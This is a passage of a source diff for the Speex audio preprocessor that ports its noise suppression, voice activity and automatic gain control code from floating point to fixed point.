-               /*st->noise_bands2[i] = (1-adapt)*st->noise_bands2[i] + adapt*bands[i]*bands[i];*/
-               st->noise_bands2[i] = (1.f-adapt)*st->noise_bands2[i] + adapt*(bands[i]-st->noise_bands[i])*(bands[i]-st->noise_bands[i]);
-            }
-         }
-      }
-      p0=p1=1;
-      for (i=0;i<NB_BANDS;i++)
-      {
-         float noise_var, speech_var;
-         float noise_mean, speech_mean;
-         float tmp1, tmp2, pr;
-
-         /*noise_var = 1.01*st->noise_bands2[i] - st->noise_bands[i]*st->noise_bands[i];
-           speech_var = 1.01*st->speech_bands2[i] - st->speech_bands[i]*st->speech_bands[i];*/
-         noise_var = st->noise_bands2[i];
-         speech_var = st->speech_bands2[i];
-         if (noise_var < .1f)
-            noise_var = .1f;
-         if (speech_var < .1f)
-            speech_var = .1f;
-         
-         /*speech_var = sqrt(speech_var*noise_var);
-           noise_var = speech_var;*/
-         if (noise_var < .05f*speech_var)
-            noise_var = .05f*speech_var; 
-         if (speech_var < .05f*noise_var)
-            speech_var = .05f*noise_var;
-         
-         if (bands[i] < st->noise_bands[i])
-            speech_var = noise_var;
-         if (bands[i] > st->speech_bands[i])
-            noise_var = speech_var;
-
-         speech_mean = st->speech_bands[i];
-         noise_mean = st->noise_bands[i];
-         if (noise_mean < speech_mean - 5.f)
-            noise_mean = speech_mean - 5.f;
-
-         tmp1 = exp(-.5f*(bands[i]-speech_mean)*(bands[i]-speech_mean)/speech_var)/sqrt(2.f*M_PI*speech_var);
-         tmp2 = exp(-.5f*(bands[i]-noise_mean)*(bands[i]-noise_mean)/noise_var)/sqrt(2.f*M_PI*noise_var);
-         /*fprintf (stderr, "%f ", (float)(p0/(.01+p0+p1)));*/
-         /*fprintf (stderr, "%f ", (float)(bands[i]));*/
-         pr = tmp1/(1e-25+tmp1+tmp2);
-         /*if (bands[i] < st->noise_bands[i])
-            pr=.01;
-         if (bands[i] > st->speech_bands[i] && pr < .995)
-         pr=.995;*/
-         if (pr>.999f)
-            pr=.999f;
-         if (pr<.001f)
-            pr=.001f;
-         /*fprintf (stderr, "%f ", pr);*/
-         p0 *= pr;
-         p1 *= (1-pr);
-      }
-
-      p0 = pow(p0,.2);
-      p1 = pow(p1,.2);      
-      
-#if 1
-      p0 *= 2.f;
-      p0=p0/(p1+p0);
-      if (st->last_speech>20) 
-      {
-         float tmp = sqrt(tot_loudness)/st->loudness2;
-         tmp = 1.f-exp(-10.f*tmp);
-         if (p0>tmp)
-            p0=tmp;
-      }
-      p1=1-p0;
-#else
-      if (sqrt(tot_loudness) < .6f*st->loudness2 && p0>15.f*p1)
-         p0=15.f*p1;
-      if (sqrt(tot_loudness) < .45f*st->loudness2 && p0>7.f*p1)
-         p0=7.f*p1;
-      if (sqrt(tot_loudness) < .3f*st->loudness2 && p0>3.f*p1)
-         p0=3.f*p1;
-      if (sqrt(tot_loudness) < .15f*st->loudness2 && p0>p1)
-         p0=p1;
-      /*fprintf (stderr, "%f %f ", (float)(sqrt(tot_loudness) /( .25*st->loudness2)), p0/(p1+p0));*/
-#endif
-
-      p0 *= .99f*st->speech_prob + .01f*(1-st->speech_prob);
-      p1 *= .01f*st->speech_prob + .99f*(1-st->speech_prob);
-      
-      st->speech_prob = p0/(1e-25f+p1+p0);
-      /*fprintf (stderr, "%f %f %f ", tot_loudness, st->loudness2, st->speech_prob);*/
-
-      if (st->speech_prob > st->speech_prob_start
-         || (st->last_speech < 20 && st->speech_prob > st->speech_prob_continue))
-      {
-         is_speech = 1;
-         st->last_speech = 0;
-      } else {
-         st->last_speech++;
-         if (st->last_speech<20)
-           is_speech = 1;
-      }
-
-      if (st->noise_bandsN > 50 && st->speech_bandsN > 50)
-      {
-         if (mean_post > 5)
-         {
-            float adapt = 1./st->speech_bandsN++;
-            if (adapt<.005f)
-               adapt = .005f;
-            for (i=0;i<NB_BANDS;i++)
-            {
-               st->speech_bands[i] = (1-adapt)*st->speech_bands[i] + adapt*bands[i];
-               /*st->speech_bands2[i] = (1-adapt)*st->speech_bands2[i] + adapt*bands[i]*bands[i];*/
-               st->speech_bands2[i] = (1-adapt)*st->speech_bands2[i] + adapt*(bands[i]-st->speech_bands[i])*(bands[i]-st->speech_bands[i]);
-            }
-         } else {
-            float adapt = 1./st->noise_bandsN++;
-            if (adapt<.005f)
-               adapt = .005f;
-            for (i=0;i<NB_BANDS;i++)
-            {
-               st->noise_bands[i] = (1-adapt)*st->noise_bands[i] + adapt*bands[i];
-               /*st->noise_bands2[i] = (1-adapt)*st->noise_bands2[i] + adapt*bands[i]*bands[i];*/
-               st->noise_bands2[i] = (1-adapt)*st->noise_bands2[i] + adapt*(bands[i]-st->noise_bands[i])*(bands[i]-st->noise_bands[i]);
-            }
-         }
-      }
-
-
+      /*rate=2.0f*Pframe*Pframe/(1+st->nb_loudness_adapt);*/
+      rate = .03*Pframe*Pframe;
+      st->loudness = (1-rate)*st->loudness + (rate)*pow(AMP_SCALE*loudness, LOUDNESS_EXP);
+      st->loudness_accum = (1-rate)*st->loudness_accum + rate;
+      if (st->init_max < st->max_gain && st->nb_adapt > 20)
+         st->init_max *= 1.f + .1f*Pframe*Pframe;
    }
+   /*printf ("%f %f %f %f\n", Pframe, loudness, pow(st->loudness, 1.0f/LOUDNESS_EXP), st->loudness2);*/
+   
+   target_gain = AMP_SCALE*st->agc_level*pow(st->loudness/(1e-4+st->loudness_accum), -1.0f/LOUDNESS_EXP);
 
-   return is_speech;
-}
-
-static void speex_compute_agc(SpeexPreprocessState *st, float mean_prior)
-{
-   int i;
-   int N = st->ps_size;
-   float scale=.5f/N;
-   float agc_gain;
-   int freq_start, freq_end;
-   float active_bands = 0;
-
-   freq_start = (int)(300.0f*2*N/st->sampling_rate);
-   freq_end   = (int)(2000.0f*2*N/st->sampling_rate);
-   for (i=freq_start;i<freq_end;i++)
+   if ((Pframe>.5  && st->nb_adapt > 20) || target_gain < st->agc_gain)
    {
-      if (st->S[i] > 20.f*st->Smin[i]+1000.f)
-         active_bands+=1;
+      if (target_gain > st->max_increase_step*st->agc_gain)
+         target_gain = st->max_increase_step*st->agc_gain;
+      if (target_gain < st->max_decrease_step*st->agc_gain && loudness < 10*st->prev_loudness)
+         target_gain = st->max_decrease_step*st->agc_gain;
+      if (target_gain > st->max_gain)
+         target_gain = st->max_gain;
+      if (target_gain > st->init_max)
+         target_gain = st->init_max;
+   
+      st->agc_gain = target_gain;
    }
-   active_bands /= (freq_end-freq_start+1);
-
-   if (active_bands > .2f)
-   {
-      float loudness=0.f;
-      float rate, rate2=.2f;
-      st->nb_loudness_adapt++;
-      rate=2.0f/(1+st->nb_loudness_adapt);
-      if (rate < .05f)
-         rate = .05f;
-      if (rate < .1f && pow(loudness, LOUDNESS_EXP) > st->loudness)
-         rate = .1f;
-      if (rate < .2f && pow(loudness, LOUDNESS_EXP) > 3.f*st->loudness)
-         rate = .2f;
-      if (rate < .4f && pow(loudness, LOUDNESS_EXP) > 10.f*st->loudness)
-         rate = .4f;
-
-      for (i=2;i<N;i++)
-      {
-         loudness += scale*st->ps[i] * st->gain2[i] * st->gain2[i] * st->loudness_weight[i];
-      }
-      loudness=sqrt(loudness);
-      /*if (loudness < 2*pow(st->loudness, 1.0/LOUDNESS_EXP) &&
-        loudness*2 > pow(st->loudness, 1.0/LOUDNESS_EXP))*/
-      st->loudness = (1-rate)*st->loudness + (rate)*pow(loudness, LOUDNESS_EXP);
+   /*fprintf (stderr, "%f %f %f\n", loudness, (float)AMP_SCALE_1*pow(st->loudness, 1.0f/LOUDNESS_EXP), st->agc_gain);*/
       
-      st->loudness2 = (1-rate2)*st->loudness2 + rate2*pow(st->loudness, 1.0f/LOUDNESS_EXP);
-
-      loudness = pow(st->loudness, 1.0f/LOUDNESS_EXP);
-
-      /*fprintf (stderr, "%f %f %f\n", loudness, st->loudness2, rate);*/
-   }
-   
-   agc_gain = st->agc_level/st->loudness2;
-   /*fprintf (stderr, "%f %f %f %f\n", active_bands, st->loudness, st->loudness2, agc_gain);*/
-   if (agc_gain>200)
-      agc_gain = 200;
-
-   for (i=0;i<N;i++)
-      st->gain2[i] *= agc_gain;
-   
+   for (i=0;i<2*N;i++)
+      ft[i] *= st->agc_gain;
+   st->prev_loudness = loudness;
 }
+#endif
 
 static void preprocess_analysis(SpeexPreprocessState *st, spx_int16_t *x)
 {
@@ -565,7 +621,7 @@
    int N = st->ps_size;
    int N3 = 2*N - st->frame_size;
    int N4 = st->frame_size - N3;
-   float *ps=st->ps;
+   spx_word32_t *ps=st->ps;
 
    /* 'Build' input frame */
    for (i=0;i<N3;i++)
@@ -579,295 +635,335 @@
 
    /* Windowing */
    for (i=0;i<2*N;i++)
-      st->frame[i] *= st->window[i];
+      st->frame[i] = MULT16_16_Q15(st->frame[i], st->window[i]);
 
+#ifdef FIXED_POINT
+   {
+      spx_word16_t max_val=0;
+      for (i=0;i<2*N;i++)
+         max_val = MAX16(max_val, ABS16(st->frame[i]));
+      st->frame_shift = 14-spx_ilog2(EXTEND32(max_val));
+      for (i=0;i<2*N;i++)
+         st->frame[i] = SHL16(st->frame[i], st->frame_shift);
+   }
+#endif
+   
    /* Perform FFT */
-   spx_drft_forward(st->fft_lookup, st->frame);
-
+   spx_fft(st->fft_lookup, st->frame, st->ft);
+         
    /* Power spectrum */
-   ps[0]=1;
+   ps[0]=MULT16_16(st->ft[0],st->ft[0]);
    for (i=1;i<N;i++)
-      ps[i]=1+st->frame[2*i-1]*st->frame[2*i-1] + st->frame[2*i]*st->frame[2*i];
+      ps[i]=MULT16_16(st->ft[2*i-1],st->ft[2*i-1]) + MULT16_16(st->ft[2*i],st->ft[2*i]);
+   for (i=0;i<N;i++)
+      st->ps[i] = PSHR32(st->ps[i], 2*st->frame_shift);
 
+   filterbank_compute_bank32(st->bank, ps, ps+N);
 }
 
 static void update_noise_prob(SpeexPreprocessState *st)
 {
    int i;
+   int min_range;
    int N = st->ps_size;
 
    for (i=1;i<N-1;i++)
-      st->S[i] = 100.f+ .8f*st->S[i] + .05f*st->ps[i-1]+.1f*st->ps[i]+.05f*st->ps[i+1];
+      st->S[i] =  MULT16_32_Q15(QCONST16(.8f,15),st->S[i]) + MULT16_32_Q15(QCONST16(.05f,15),st->ps[i-1]) 
+                      + MULT16_32_Q15(QCONST16(.1f,15),st->ps[i]) + MULT16_32_Q15(QCONST16(.05f,15),st->ps[i+1]);
+   st->S[0] =  MULT16_32_Q15(QCONST16(.8f,15),st->S[0]) + MULT16_32_Q15(QCONST16(.2f,15),st->ps[0]);
+   st->S[N-1] =  MULT16_32_Q15(QCONST16(.8f,15),st->S[N-1]) + MULT16_32_Q15(QCONST16(.2f,15),st->ps[N-1]);
    
-   if (st->nb_preprocess<1)
+   if (st->nb_adapt==1)
    {
-      for (i=1;i<N-1;i++)
-         st->Smin[i] = st->Stmp[i] = st->S[i]+100.f;
+      for (i=0;i<N;i++)
+         st->Smin[i] = st->Stmp[i] = 0;
    }
 
-   if (st->nb_preprocess%200==0)
+   if (st->nb_adapt < 100)
+      min_range = 15;
+   else if (st->nb_adapt < 1000)
+      min_range = 50;
+   else if (st->nb_adapt < 10000)
+      min_range = 150;
+   else
+      min_range = 300;
+   if (st->min_count > min_range)
    {
-      for (i=1;i<N-1;i++)
+      st->min_count = 0;
+      for (i=0;i<N;i++)
       {
-         st->Smin[i] = min(st->Stmp[i], st->S[i]);
+         st->Smin[i] = MIN32(st->Stmp[i], st->S[i]);
          st->Stmp[i] = st->S[i];
       }
    } else {
-      for (i=1;i<N-1;i++)
+      for (i=0;i<N;i++)
       {
-         st->Smin[i] = min(st->Smin[i], st->S[i]);
-         st->Stmp[i] = min(st->Stmp[i], st->S[i]);      
+         st->Smin[i] = MIN32(st->Smin[i], st->S[i]);
+         st->Stmp[i] = MIN32(st->Stmp[i], st->S[i]);      
       }
    }
-   for (i=1;i<N-1;i++)
+   for (i=0;i<N;i++)
    {
-      st->update_prob[i] *= .2f;
-      if (st->S[i] > 2.5*st->Smin[i])
-         st->update_prob[i] += .8f;
+      if (MULT16_32_Q15(QCONST16(.4f,15),st->S[i]) > st->Smin[i])
+         st->update_prob[i] = 1;
+      else
+         st->update_prob[i] = 0;
       /*fprintf (stderr, "%f ", st->S[i]/st->Smin[i]);*/
       /*fprintf (stderr, "%f ", st->update_prob[i]);*/
    }
 
 }
 
-#define NOISE_OVERCOMPENS 1.4
+#define NOISE_OVERCOMPENS 1.
 
-int speex_preprocess(SpeexPreprocessState *st, spx_int16_t *x, spx_int32_t *echo)
+void speex_echo_get_residual(SpeexEchoState *st, spx_word32_t *Yout, int len);
+
+EXPORT int speex_preprocess(SpeexPreprocessState *st, spx_int16_t *x, spx_int32_t *echo)
 {
+   return speex_preprocess_run(st, x);
+}
+
+EXPORT int speex_preprocess_run(SpeexPreprocessState *st, spx_int16_t *x)
+{
    int i;
-   int is_speech=1;
-   float mean_post=0;
-   float mean_prior=0;
+   int M;
    int N = st->ps_size;
    int N3 = 2*N - st->frame_size;
    int N4 = st->frame_size - N3;
-   float scale=.5f/N;
-   float *ps=st->ps;
-   float Zframe=0, Pframe;
-
+   spx_word32_t *ps=st->ps;
+   spx_word32_t Zframe;
+   spx_word16_t Pframe;
+   spx_word16_t beta, beta_1;
+   spx_word16_t effective_echo_suppress;
+   
+   st->nb_adapt++;
+   if (st->nb_adapt>20000)
+      st->nb_adapt = 20000;
+   st->min_count++;
+   
+   beta = MAX16(QCONST16(.03,15),DIV32_16(Q15_ONE,st->nb_adapt));
+   beta_1 = Q15_ONE-beta;
+   M = st->nbands;
+   /* Deal with residual echo if provided */
+   if (st->echo_state)
+   {
+      speex_echo_get_residual(st->echo_state, st->residual_echo, N);
+#ifndef FIXED_POINT
+      /* If there are NaNs or ridiculous values, it'll show up in the DC and we just reset everything to zero */
+      if (!(st->residual_echo[0] >=0 && st->residual_echo[0]<N*1e9f))
+      {
+         for (i=0;i<N;i++)
+            st->residual_echo[i] = 0;
+      }
+#endif
+      for (i=0;i<N;i++)
+         st->echo_noise[i] = MAX32(MULT16_32_Q15(QCONST16(.6f,15),st->echo_noise[i]), st->residual_echo[i]);
+      filterbank_compute_bank32(st->bank, st->echo_noise, st->echo_noise+N);
+   } else {
+      for (i=0;i<N+M;i++)
+         st->echo_noise[i] = 0;
+   }
    preprocess_analysis(st, x);
 
    update_noise_prob(st);
 
-   st->nb_preprocess++;
-
-   /* Noise estimation always updated for the 20 first times */
-   if (st->nb_adapt<10)
+   /* Noise estimation always updated for the 10 first frames */
+   /*if (st->nb_adapt<10)
    {
-      update_noise(st, ps, echo);
+      for (i=1;i<N-1;i++)
+         st->update_prob[i] = 0;
    }
-
-   /* Deal with residual echo if provided */
-   if (echo)
-      for (i=1;i<N;i++)
-         st->echo_noise[i] = (.3f*st->echo_noise[i] + st->frame_size*st->frame_size*1.0*echo[i]);
-
-   /* Compute a posteriori SNR */
-   for (i=1;i<N;i++)
+   */
+   
+   /* Update the noise estimate for the frequencies where it can be */
+   for (i=0;i<N;i++)
    {
-      float tot_noise = 1.f+ NOISE_OVERCOMPENS*st->noise[i] + st->echo_noise[i] + st->reverb_estimate[i];
-      st->post[i] = ps[i]/tot_noise - 1.f;
-      if (st->post[i]>100.f)
-         st->post[i]=100.f;
-      /*if (st->post[i]<0)
-        st->post[i]=0;*/
-      mean_post+=st->post[i];
+      if (!st->update_prob[i] || st->ps[i] < PSHR32(st->noise[i], NOISE_SHIFT))
+         st->noise[i] = MAX32(EXTEND32(0),MULT16_32_Q15(beta_1,st->noise[i]) + MULT16_32_Q15(beta,SHL32(st->ps[i],NOISE_SHIFT)));
    }
-   mean_post /= N;
-   if (mean_post<0.f)
-      mean_post=0.f;
+   filterbank_compute_bank32(st->bank, st->noise, st->noise+N);
 
    /* Special case for first frame */
    if (st->nb_adapt==1)
-      for (i=1;i<N;i++)
+      for (i=0;i<N+M;i++)
          st->old_ps[i] = ps[i];
 
-   /* Compute a priori SNR */
+   /* Compute a posteriori SNR */
+   for (i=0;i<N+M;i++)
    {
-      /* A priori update rate */
-      for (i=1;i<N;i++)
-      {
-         float gamma = .15+.85*st->prior[i]*st->prior[i]/((1+st->prior[i])*(1+st->prior[i]));
-         float tot_noise = 1.f+ NOISE_OVERCOMPENS*st->noise[i] + st->echo_noise[i] + st->reverb_estimate[i];
-         /* A priori SNR update */
-         st->prior[i] = gamma*max(0.0f,st->post[i]) +
-               (1.f-gamma)* (.8*st->gain[i]*st->gain[i]*st->old_ps[i]/tot_noise + .2*st->prior[i]);
-         
-         if (st->prior[i]>100.f)
-            st->prior[i]=100.f;
-         
-         mean_prior+=st->prior[i];
-      }
+      spx_word16_t gamma;
+      
+      /* Total noise estimate including residual echo and reverberation */
+      spx_word32_t tot_noise = ADD32(ADD32(ADD32(EXTEND32(1), PSHR32(st->noise[i],NOISE_SHIFT)) , st->echo_noise[i]) , st->reverb_estimate[i]);
+      
+      /* A posteriori SNR = ps/noise - 1*/
+      st->post[i] = SUB16(DIV32_16_Q8(ps[i],tot_noise), QCONST16(1.f,SNR_SHIFT));
+      st->post[i]=MIN16(st->post[i], QCONST16(100.f,SNR_SHIFT));
+      
+      /* Computing update gamma = .1 + .9*(old/(old+noise))^2 */
+      gamma = QCONST16(.1f,15)+MULT16_16_Q15(QCONST16(.89f,15),SQR16_Q15(DIV32_16_Q15(st->old_ps[i],ADD32(st->old_ps[i],tot_noise))));
+      
+      /* A priori SNR update = gamma*max(0,post) + (1-gamma)*old/noise */
+      st->prior[i] = EXTRACT16(PSHR32(ADD32(MULT16_16(gamma,MAX16(0,st->post[i])), MULT16_16(Q15_ONE-gamma,DIV32_16_Q8(st->old_ps[i],tot_noise))), 15));
+      st->prior[i]=MIN16(st->prior[i], QCONST16(100.f,SNR_SHIFT));
    }
-   mean_prior /= N;
 
-#if 0
-   for (i=0;i<N;i++)
+   /*print_vec(st->post, N+M, "");*/
+
+   /* Recursive average of the a priori SNR. A bit smoothed for the psd components */
+   st->zeta[0] = PSHR32(ADD32(MULT16_16(QCONST16(.7f,15),st->zeta[0]), MULT16_16(QCONST16(.3f,15),st->prior[0])),15);
+   for (i=1;i<N-1;i++)
+      st->zeta[i] = PSHR32(ADD32(ADD32(ADD32(MULT16_16(QCONST16(.7f,15),st->zeta[i]), MULT16_16(QCONST16(.15f,15),st->prior[i])),
+                           MULT16_16(QCONST16(.075f,15),st->prior[i-1])), MULT16_16(QCONST16(.075f,15),st->prior[i+1])),15);
+   for (i=N-1;i<N+M;i++)
+      st->zeta[i] = PSHR32(ADD32(MULT16_16(QCONST16(.7f,15),st->zeta[i]), MULT16_16(QCONST16(.3f,15),st->prior[i])),15);
+
+   /* Speech probability of presence for the entire frame is based on the average filterbank a priori SNR */
+   Zframe = 0;
+   for (i=N;i<N+M;i++)
+      Zframe = ADD32(Zframe, EXTEND32(st->zeta[i]));
+   Pframe = QCONST16(.1f,15)+MULT16_16_Q15(QCONST16(.899f,15),qcurve(DIV32_16(Zframe,st->nbands)));
+   
+   effective_echo_suppress = EXTRACT16(PSHR32(ADD32(MULT16_16(SUB16(Q15_ONE,Pframe), st->echo_suppress), MULT16_16(Pframe, st->echo_suppress_active)),15));
+   
+   compute_gain_floor(st->noise_suppress, effective_echo_suppress, st->noise+N, st->echo_noise+N, st->gain_floor+N, M);
+         
+   /* Compute Ephraim & Malah gain speech probability of presence for each critical band (Bark scale) 
+      Technically this is actually wrong because the EM gaim assumes a slightly different probability 
+      distribution */
+   for (i=N;i<N+M;i++)
    {
-      fprintf (stderr, "%f ", st->prior[i]);
-   }
-   fprintf (stderr, "\n");
+      /* See EM and Cohen papers*/
+      spx_word32_t theta;
+      /* Gain from hypergeometric function */
+      spx_word32_t MM;
+      /* Weiner filter gain */
+      spx_word16_t prior_ratio;
+      /* a priority probability of speech presence based on Bark sub-band alone */
+      spx_word16_t P1;
+      /* Speech absence a priori probability (considering sub-band and frame) */
+      spx_word16_t q;
+#ifdef FIXED_POINT
+      spx_word16_t tmp;
 #endif
-   /*fprintf (stderr, "%f %f\n", mean_prior,mean_post);*/
+      
+      prior_ratio = PDIV32_16(SHL32(EXTEND32(st->prior[i]), 15), ADD16(st->prior[i], SHL32(1,SNR_SHIFT)));
+      theta = MULT16_32_P15(prior_ratio, QCONST32(1.f,EXPIN_SHIFT)+SHL32(EXTEND32(st->post[i]),EXPIN_SHIFT-SNR_SHIFT));
 
-   if (st->nb_preprocess>=20)
-   {
-      int do_update = 0;
-      float noise_ener=0, sig_ener=0;
-      /* If SNR is low (both a priori and a posteriori), update the noise estimate*/
-      /*if (mean_prior<.23 && mean_post < .5)*/
-      if (mean_prior<.23f && mean_post < .5f)
-         do_update = 1;
-      for (i=1;i<N;i++)
-      {
-         noise_ener += st->noise[i];
-         sig_ener += ps[i];
-      }
-      if (noise_ener > 3.f*sig_ener)
-         do_update = 1;
-      /*do_update = 0;*/
-      if (do_update)
-      {
-         st->consec_noise++;
-      } else {
-         st->consec_noise=0;
-      }
-   }
+      MM = hypergeom_gain(theta);
+      /* Gain with bound */
+      st->gain[i] = EXTRACT16(MIN32(Q15_ONE, MULT16_32_Q15(prior_ratio, MM)));
+      /* Save old Bark power spectrum */
+      st->old_ps[i] = MULT16_32_P15(QCONST16(.2f,15),st->old_ps[i]) + MULT16_32_P15(MULT16_16_P15(QCONST16(.8f,15),SQR16_Q15(st->gain[i])),ps[i]);
 
-   if (st->vad_enabled)
-      is_speech = speex_compute_vad(st, ps, mean_prior, mean_post);
-
-
-   if (st->consec_noise>=3)
-   {
-      update_noise(st, st->old_ps, echo);
-   } else {
-      for (i=1;i<N-1;i++)
-      {
-         if (st->update_prob[i]<.5f/* || st->ps[i] < st->noise[i]*/)
-         {
-            if (echo)
-               st->noise[i] = .95f*st->noise[i] + .05f*max(1.0f,st->ps[i]-st->frame_size*st->frame_size*1.0*echo[i]);
-            else
-               st->noise[i] = .95f*st->noise[i] + .05f*st->ps[i];
-         }
-      }
+      P1 = QCONST16(.199f,15)+MULT16_16_Q15(QCONST16(.8f,15),qcurve (st->zeta[i]));
+      q = Q15_ONE-MULT16_16_Q15(Pframe,P1);
+#ifdef FIXED_POINT
+      theta = MIN32(theta, EXTEND32(32767));
+/*Q8*/tmp = MULT16_16_Q15((SHL32(1,SNR_SHIFT)+st->prior[i]),EXTRACT16(MIN32(Q15ONE,SHR32(spx_exp(-EXTRACT16(theta)),1))));
+      tmp = MIN16(QCONST16(3.,SNR_SHIFT), tmp); /* Prevent overflows in the next line*/
+/*Q8*/tmp = EXTRACT16(PSHR32(MULT16_16(PDIV32_16(SHL32(EXTEND32(q),8),(Q15_ONE-q)),tmp),8));
+      st->gain2[i]=DIV32_16(SHL32(EXTEND32(32767),SNR_SHIFT), ADD16(256,tmp));
+#else
+      st->gain2[i]=1/(1.f + (q/(1.f-q))*(1+st->prior[i])*exp(-theta));
+#endif
    }
-
-   for (i=1;i<N;i++)
+   /* Convert the EM gains and speech prob to linear frequency */
+   filterbank_compute_psd16(st->bank,st->gain2+N, st->gain2);
+   filterbank_compute_psd16(st->bank,st->gain+N, st->gain);
+   
+   /* Use 1 for linear gain resolution (best) or 0 for Bark gain resolution (faster) */
+   if (1)
    {
-      st->zeta[i] = .7f*st->zeta[i] + .3f*st->prior[i];
-   }
-
-   {
-      int freq_start = (int)(300.0f*2.f*N/st->sampling_rate);
-      int freq_end   = (int)(2000.0f*2.f*N/st->sampling_rate);
-      for (i=freq_start;i<freq_end;i++)
+      filterbank_compute_psd16(st->bank,st->gain_floor+N, st->gain_floor);
+   
+      /* Compute gain according to the Ephraim-Malah algorithm -- linear frequency */
+      for (i=0;i<N;i++)
       {
-         Zframe += st->zeta[i];         
-      }
-      Zframe /= (freq_end-freq_start);
-   }
-   st->Zlast = Zframe;
+         spx_word32_t MM;
+         spx_word32_t theta;
+         spx_word16_t prior_ratio;
+         spx_word16_t tmp;
+         spx_word16_t p;
+         spx_word16_t g;
+         
+         /* Wiener filter gain */
+         prior_ratio = PDIV32_16(SHL32(EXTEND32(st->prior[i]), 15), ADD16(st->prior[i], SHL32(1,SNR_SHIFT)));
+         theta = MULT16_32_P15(prior_ratio, QCONST32(1.f,EXPIN_SHIFT)+SHL32(EXTEND32(st->post[i]),EXPIN_SHIFT-SNR_SHIFT));
 
-   Pframe = qcurve(Zframe);
+         /* Optimal estimator for loudness domain */
+         MM = hypergeom_gain(theta);
+         /* EM gain with bound */
+         g = EXTRACT16(MIN32(Q15_ONE, MULT16_32_Q15(prior_ratio, MM)));
+         /* Interpolated speech probability of presence */
+         p = st->gain2[i];
+                  
+         /* Constrain the gain to be close to the Bark scale gain */
+         if (MULT16_16_Q15(QCONST16(.333f,15),g) > st->gain[i])
+            g = MULT16_16(3,st->gain[i]);
+         st->gain[i] = g;
+         
+         /* Save old power spectrum */
+         st->old_ps[i] = MULT16_32_P15(QCONST16(.2f,15),st->old_ps[i]) + MULT16_32_P15(MULT16_16_P15(QCONST16(.8f,15),SQR16_Q15(st->gain[i])),ps[i]);
+         
+         /* Apply gain floor */
+         if (st->gain[i] < st->gain_floor[i])
+            st->gain[i] = st->gain_floor[i];
 
-   /*fprintf (stderr, "%f\n", Pframe);*/
-   /* Compute gain according to the Ephraim-Malah algorithm */
-   for (i=1;i<N;i++)
-   {
-      float MM;
-      float theta;
-      float prior_ratio;
-      float p, q;
-      float zeta1;
-      float P1;
+         /* Exponential decay model for reverberation (unused) */
+         /*st->reverb_estimate[i] = st->reverb_decay*st->reverb_estimate[i] + st->reverb_decay*st->reverb_level*st->gain[i]*st->gain[i]*st->ps[i];*/
+         
+         /* Take into account speech probability of presence (loudness domain MMSE estimator) */
+         /* gain2 = [p*sqrt(gain)+(1-p)*sqrt(gain _floor) ]^2 */
+         tmp = MULT16_16_P15(p,spx_sqrt(SHL32(EXTEND32(st->gain[i]),15))) + MULT16_16_P15(SUB16(Q15_ONE,p),spx_sqrt(SHL32(EXTEND32(st->gain_floor[i]),15)));
+         st->gain2[i]=SQR16_Q15(tmp);
 
-      prior_ratio = st->prior[i]/(1.0001f+st->prior[i]);
-      theta = (1.f+st->post[i])*prior_ratio;
-
-      if (i==1 || i==N-1)
-         zeta1 = st->zeta[i];
-      else
-         zeta1 = .25f*st->zeta[i-1] + .5f*st->zeta[i] + .25f*st->zeta[i+1];
-      P1 = qcurve (zeta1);
-      
-      /* FIXME: add global prob (P2) */
-      q = 1-Pframe*P1;
-      q = 1-P1;
-      if (q>.95f)
-         q=.95f;
-      p=1.f/(1.f + (q/(1.f-q))*(1.f+st->prior[i])*exp(-theta));
-      /*p=1;*/
-
-      /* Optimal estimator for loudness domain */
-      MM = hypergeom_gain(theta);
-
-      st->gain[i] = prior_ratio * MM;
-      /*Put some (very arbitraty) limit on the gain*/
-      if (st->gain[i]>2.f)
-      {
-         st->gain[i]=2.f;
+         /* Use this if you want a log-domain MMSE estimator instead */
+         /*st->gain2[i] = pow(st->gain[i], p) * pow(st->gain_floor[i],1.f-p);*/
       }
-      
-      st->reverb_estimate[i] = st->reverb_decay*st->reverb_estimate[i] + st->reverb_decay*st->reverb_level*st->gain[i]*st->gain[i]*st->ps[i];
-      if (st->denoise_enabled)
+   } else {
+      for (i=N;i<N+M;i++)
       {
-         /*st->gain2[i] = p*p*st->gain[i];*/
-         st->gain2[i]=(p*sqrt(st->gain[i])+.2*(1-p)) * (p*sqrt(st->gain[i])+.2*(1-p));
-         /*st->gain2[i] = pow(st->gain[i], p) * pow(.1f,1.f-p);*/
-      } else {
-         st->gain2[i]=1.f;
+         spx_word16_t tmp;
+         spx_word16_t p = st->gain2[i];
+         st->gain[i] = MAX16(st->gain[i], st->gain_floor[i]);         
+         tmp = MULT16_16_P15(p,spx_sqrt(SHL32(EXTEND32(st->gain[i]),15))) + MULT16_16_P15(SUB16(Q15_ONE,p),spx_sqrt(SHL32(EXTEND32(st->gain_floor[i]),15)));
+         st->gain2[i]=SQR16_Q15(tmp);
       }
+      filterbank_compute_psd16(st->bank,st->gain2+N, st->gain2);
    }
    
-   st->gain2[0]=st->gain[0]=0.f;
-   st->gain2[N-1]=st->gain[N-1]=0.f;
-   /*
-   for (i=30;i<N-2;i++)
+   /* If noise suppression is off, don't apply the gain (but then why call this in the first place!) */
+   if (!st->denoise_enabled)
    {
-      st->gain[i] = st->gain2[i]*st->gain2[i] + (1-st->gain2[i])*.333*(.6*st->gain2[i-1]+st->gain2[i]+.6*st->gain2[i+1]+.4*st->gain2[i-2]+.4*st->gain2[i+2]);
+      for (i=0;i<N+M;i++)
+         st->gain2[i]=Q15_ONE;
    }
-   for (i=30;i<N-2;i++)
-      st->gain2[i] = st->gain[i];
-   */
-   if (st->agc_enabled)
-      speex_compute_agc(st, mean_prior);
-
-#if 0
-   if (!is_speech)
-   {
-      for (i=0;i<N;i++)
-         st->gain2[i] = 0;
-   }
-#if 0
- else {
-      for (i=0;i<N;i++)
-         st->gain2[i] = 1;
-   }
-#endif
-#endif
-
+      
    /* Apply computed gain */
    for (i=1;i<N;i++)
    {
-      st->frame[2*i-1] *= st->gain2[i];
-      st->frame[2*i] *= st->gain2[i];
+      st->ft[2*i-1] = MULT16_16_P15(st->gain2[i],st->ft[2*i-1]);
+      st->ft[2*i] = MULT16_16_P15(st->gain2[i],st->ft[2*i]);
    }
+   st->ft[0] = MULT16_16_P15(st->gain2[0],st->ft[0]);
+   st->ft[2*N-1] = MULT16_16_P15(st->gain2[N-1],st->ft[2*N-1]);
+   
+   /*FIXME: This *will* not work for fixed-point */
+#ifndef FIXED_POINT
+   if (st->agc_enabled)
+      speex_compute_agc(st, Pframe, st->ft);
+#endif
 
-   /* Get rid of the DC and very low frequencies */
-   st->frame[0]=0;
-   st->frame[1]=0;
-   st->frame[2]=0;
